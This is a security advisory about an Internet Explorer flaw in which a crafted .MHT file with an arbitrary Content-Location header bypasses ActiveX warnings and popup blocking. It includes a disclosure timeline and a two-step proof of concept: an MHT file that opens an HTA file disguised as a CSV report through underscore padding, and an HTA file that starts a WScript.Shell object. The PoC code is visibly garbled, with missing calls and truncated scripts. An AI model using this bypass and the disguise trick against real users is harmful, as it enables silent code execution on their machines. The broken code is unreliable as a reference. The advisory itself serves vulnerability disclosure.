Microsoft Internet Explorer Active-X Control Security Bypass

Microsoft Internet Explorer suffers from an active-x related bypass vulnerability. Microsoft will not address the issue as it is end of life.

MD5 | e68a94cb25733b4e5da3286a750a9fdb

[+] Credits: John Page (aka hyp3rlinx)    
[+] Website:
[+] Source:
[+] ISR: ApparitionSec


Microsoft Internet Explorer (MSIE)
Internet Explorer is a discontinued series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.

[Vulnerability Type]
ActiveX Control Security Bypass

[CVE Reference]

[Security Issue]
Upon opening a specially crafted .MHT file on disk, Internet Explorer ActiveX control warnings as well as popup blocker privacy settings are not enforced.
This can allow the execution of ActiveX content with zero warning to an unsuspecting end user and or force them to visit arbitrary attacker controlled websites.

By default when opening browser associated files that contain active content, MSIE restricts scripts from running without explicit user interaction and permission.
Instead end users are presented with a yellow warning bar on the browsers webpage, asking first if they wish to allow the running of blocked content.
This prevents execution of active content scripts or controls without the user first clicking the "Allow blocked content" warning bar.

However, specially crafted MHT files residing on disk that contain an invalid header directive suppress ActiveX warnings and Popup blocker privacy settings.
Therefore, to bypass Internet Explorer "active content" blocking, files needs to contain an Content-Location header using an arbitrary named value E.g.

"Content-Location: PBARBAR"

Note, often times MHT files are set to open in IE by default and IE while discontinued it is still present on the Windows OS.
Tested successfully on Windows 10 latest fully patched version with default IE security settings.

Expected result: ActiveX control security warning, prevention of code execution and blocking browser popup windows.
Actual result: No ActiveX control code execution blocking, security warnings or browser window popup blocking enforcement.

[PoC Requirements]
MHT file must reside on disk, think targeted attack scenarios.

Change [VICTIM] value below to a specified user for testing.

1) Create the MHT PoC file.


MIME-Version: 1.0
Content-Type: multipart/related; type="text/html";
This is a multi-part message in MIME format.

Content-Type: text/html; charset="UTF-8"
Content-Location: DOOM

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

var args = ['height='+1,'width='+1,].join(',')
setTimeout("", 3000)
var pop ='c:/Users/[VICTIM]/Desktop/Sales_Report_2021.csv ________________________________________________________.hta', 'pop', args)



2) Create the PoC HTA file.

"Sales_Report_2021.csv ________________________________________________________.hta"

<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")

3) Open the MHT file locally.

[Network Access]

[POC/Video URL]

[Disclosure Timeline]
Vendor Notification: May 13, 2019
MSRC : July 2, 2019
"We determined that a fix for this issue will be considered in a future version of this product or service.
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
December 5, 2021 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


Related Posts